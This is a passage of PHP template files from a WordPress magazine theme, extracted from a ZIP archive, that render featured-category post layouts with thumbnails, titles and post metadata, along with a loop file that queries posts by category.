        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     0w\*q  q    modules/magazine-style-13.phpnu [        <?php
/**
 * Template loop for gird 3 columns style
 */
?>
<li class="grid-style">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post', 'small' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID(), 'small' );
				}
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
            <h2 class="grid-title entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) || ! get_theme_mod( 'penci_home_featured_cat_author' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>

    </article>
</li>
PK     0w\BB"      modules/magazine-style-9.phpnu [        <?php
/**
 * Template display for featured category style 9
 *
 * @since 1.0
 */
?>

<div class="mag-post-box hentry">
    <div class="magcat-thumb">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID(), 'small' );
		}
		?>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder small-fix-size<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
        <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
		<?php if ( get_theme_mod( 'penci_home_cat_author_sposts' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
            <div class="grid-post-box-meta mag-meta">
				<?php if ( get_theme_mod( 'penci_home_cat_author_sposts' ) ) : ?>
                    <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                class="url fn n"
                                href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>"><?php the_author(); ?></a></span>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                    <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                    <span class="featc-comment"><a
                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
					echo '<span class="featc-views">';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				} ?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <span class="featc-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_extra_meta' ); ?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     0w\Ps 2  2    modules/magazine-style-10.phpnu [        <?php
/**
 * Template display for featured category style 10
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>

<div class="mag-post-box hentry<?php if ( $m < 3 ): echo ' first-post'; endif; ?>">
    <div class="magcat-thumb">
		<?php
		$size_pie = 'small';
		if ( $m < 3 ): $size_pie = 'normal'; endif;
		do_action( 'penci_bookmark_post', $post_id,$size_pie );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( $post_id, $size_pie );
		}
		?>

            <a <?php echo penci_layout_bg( penci_image_srcset( $post_id,penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 2 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	            <?php echo penci_layout_img( penci_image_srcset( $post_id,penci_featured_images_size() ), get_the_title() ); ?>
            </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
		<?php if ( $m < 3 ): ?>
        <div class="mag-header"><?php endif; ?>
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ( ( $m < 3 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ( $m < 3 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( $post_id );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php if ( $m < 3 ): ?></div><?php endif; ?>
		<?php if ( $m < 3 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
            <div class="mag-excerpt entry-content">
				<?php 
				if( get_theme_mod( 'penci_excerptcharac' ) ){
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     0w\OD/$  $    modules/featured-categories.phpnu [        <?php
/**
 * Display featured categories on magazine layout
 *
 * @since 1.0
 */
$featured_cat_child  = isset( $args['featured_cat_child'] ) ? wp_list_pluck( $args['featured_cat_child'], 'slug' ) : '';
$featured_cats       = get_theme_mod( 'penci_home_featured_cat' );
$featured_cats       = str_replace( ' ', '', $featured_cats );
$featured_categories = explode( ',', $featured_cats );
$featured_categories = $featured_cat_child ? $featured_cat_child : $featured_categories;

foreach ( $featured_categories as $fea_cat ) {
	$fea_oj = get_category_by_slug( $fea_cat );
	if ( ! empty ( $fea_oj ) ) {
		$fea_cat_id    = $fea_oj->term_id;
		$fea_cat_name  = $fea_oj->name;
		$cat_meta      = get_option( "category_$fea_cat_id" );
		$cat_layout    = isset( $cat_meta['mag_layout'] ) ? $cat_meta['mag_layout'] : 'style-1';
		$cat_ads_code  = isset( $cat_meta['mag_ads'] ) ? $cat_meta['mag_ads'] : '';
		$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_1' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_1' ) : '5';
		if ( $cat_layout == 'style-2' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_2' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_2' ) : '4';
		} elseif ( $cat_layout == 'style-3' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_3' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_3' ) : '4';
		} elseif ( $cat_layout == 'style-4' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_4' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_4' ) : '6';
		} elseif ( $cat_layout == 'style-5' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_5' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_5' ) : '6';
		} elseif ( $cat_layout == 'style-6' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_6' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_6' ) : '5';
		} elseif ( $cat_layout == 'style-7' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_7' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_7' ) : '6';
		} elseif ( $cat_layout == 'style-8' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_8' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_8' ) : '3';
		} elseif ( $cat_layout == 'style-9' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_9' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_9' ) : '8';
		} elseif ( $cat_layout == 'style-10' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_10' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_10' ) : '6';
		} elseif ( $cat_layout == 'style-11' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_11' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_11' ) : '4';
		} elseif ( $cat_layout == 'style-12' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_12' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_12' ) : '6';
		} elseif ( $cat_layout == 'style-13' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_13' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_13' ) : '6';
		} elseif ( $cat_layout == 'style-14' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_14' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_14' ) : '6';
		} elseif ( $cat_layout == 'style-15' ) {
			$numbers_posts = get_theme_mod( 'penci_home_featured_posts_numbers_15' ) ? get_theme_mod( 'penci_home_featured_posts_numbers_15' ) : '4';
		}

		$attr                     = array(
			'post_type' => 'post',
			'showposts' => $numbers_posts,
			'tax_query' => array(
				array(
					'taxonomy' => 'category',
					'field'    => 'slug',
					'terms'    => $fea_cat
				)
			)
		);
		$fea_query                = new WP_Query( $attr );
		$numers_results           = $fea_query->post_count;

		if ( $fea_query->have_posts() ) :

			$heading_widget_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
			$heading_widget_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
			$heading_title        = get_theme_mod( 'penci_featured_cat_style' ) ? get_theme_mod( 'penci_featured_cat_style' ) : $heading_widget_title;
			$heading_align        = get_theme_mod( 'penci_featured_cat_align' ) ? get_theme_mod( 'penci_featured_cat_align' ) : $heading_widget_align;
			$catslider_autoplay   = get_theme_mod( 'penci_home_featured_cat_autoplay' ) ? 'false' : 'true';
			$sb_icon_pos          = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
			$sidebar_icon_pos     = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
			$sb_icon_design       = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
			$sidebar_icon_design  = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;
			?>
			<?php if ( $cat_layout == 'style-2' || $cat_layout == 'style-14' ) {
			$wrap_class = '';
			if ( $cat_layout == 'style-14' ): $wrap_class = ' mag-cat-style-14'; endif;
			?>
            <div class="home-featured-cat mag-cat-style-2<?php echo $wrap_class; ?>">
		<?php } else { ?>
            <section class="home-featured-cat mag-cat-<?php echo esc_attr( $cat_layout ); ?>">
		<?php } ?>
            <div class="penci-border-arrow penci-homepage-title penci-magazine-title <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?>">
                <h3 class="inner-arrow"><a
                            href="<?php echo esc_url( get_category_link( $fea_cat_id ) ); ?>"><span><span><?php echo sanitize_text_field( $fea_cat_name ); ?></span></span></a>
                </h3>
            </div>
            <div class="home-featured-cat-content <?php echo esc_attr( $cat_layout ); ?>">
				<?php if ( $cat_layout == 'style-4' ): ?>
                <div class="swiper penci-single-mag-slider penci-owl-carousel penci-owl-carousel-slider swiper"
                     data-auto="<?php echo $catslider_autoplay; ?>" data-dots="true" data-nav="false">
                    <div class="swiper-wrapper">
						<?php endif; ?>
						<?php if ( $cat_layout == 'style-5' || $cat_layout == 'style-12' ):
						$data_item = 2;
						if ( $cat_layout == 'style-12' ): $data_item = 3; endif;
						?>
                        <div class="penci-magcat-carousel-wrapper">
                            <div class="swiper penci-owl-carousel penci-owl-carousel-slider swiper penci-magcat-carousel"
                                 data-auto="<?php echo $catslider_autoplay; ?>" data-speed="400"
                                 data-item="<?php echo $data_item; ?>" data-desktop="<?php echo $data_item; ?>"
                                 data-tablet="2" data-tabsmall="1">
                                <div class="swiper-wrapper">
									<?php endif; ?>
									<?php if ( $cat_layout == 'style-7' || $cat_layout == 'style-8' || $cat_layout == 'style-13' ): ?>
                                    <ul class="penci-grid penci-grid-maglayout penci-fea-cat-<?php echo $cat_layout; ?>">
										<?php endif; ?>
										<?php
										$m = 1;
										while ( $fea_query->have_posts() ): $fea_query->the_post();
											include( locate_template( 'inc/modules/magazine-' . $cat_layout . '.php' ) );
											$m ++; endwhile;
										?>
										<?php if ( $cat_layout == 'style-7' || $cat_layout == 'style-8' || $cat_layout == 'style-13' ): ?>
                                    </ul>
								<?php endif; ?>
									<?php if ( $cat_layout == 'style-5' || $cat_layout == 'style-12' ): ?>
                                </div>
                            </div>
                        </div>
					<?php endif; ?>
						<?php if ( $cat_layout == 'style-4' ): ?>
                    </div>
                </div>
			<?php endif; ?>
            </div>

			<?php if ( get_theme_mod( 'penci_home_featured_cat_seemore' ) ):
			$viewall_class = '';
			if ( get_theme_mod( 'penci_home_featured_cat_remove_arrow' ) ): $viewall_class .= ' penci-btn-remove-arrow'; endif;
			if ( get_theme_mod( 'penci_home_featured_cat_readmore_button' ) ): $viewall_class .= ' penci-btn-make-button'; endif;
			if ( get_theme_mod( 'penci_home_featured_cat_readmore_align' ) ): $viewall_class .= ' penci-btn-align-' . get_theme_mod( 'penci_home_featured_cat_readmore_align' ); endif;
			?>
            <div class="penci-featured-cat-seemore penci-seemore-<?php echo esc_attr( $cat_layout );
			echo $viewall_class; ?>">
                <a href="<?php echo esc_url( get_category_link( $fea_cat_id ) ); ?>"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

			<?php if ( $cat_ads_code ): ?>
            <div class="penci-featured-cat-custom-ads">
				<?php echo do_shortcode( stripslashes( $cat_ads_code ) ); ?>
            </div>
		<?php endif; ?>

			<?php if ( $cat_layout == 'style-2' || $cat_layout == 'style-14' ) { ?>
            </div>
		<?php } else { ?>
            </section>
		<?php } ?>
		<?php
		endif;
		wp_reset_postdata();
	}
}
PK     0w\^  ^    modules/magazine-style-15.phpnu [        <?php
/**
 * Template display for featured category style 15
 *
 * @since 1.0
 */
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
		<?php if ( $m == 1 || get_theme_mod( 'penci_home_thumbnail15' ) ) { ?>
            <div class="magcat-thumb">
				<?php
				$size_pie = 'small';
				if ( $m == 1 ): $size_pie = 'normal'; endif;
				do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID(), $size_pie );
				}
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>

				<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php } ?>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
				<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
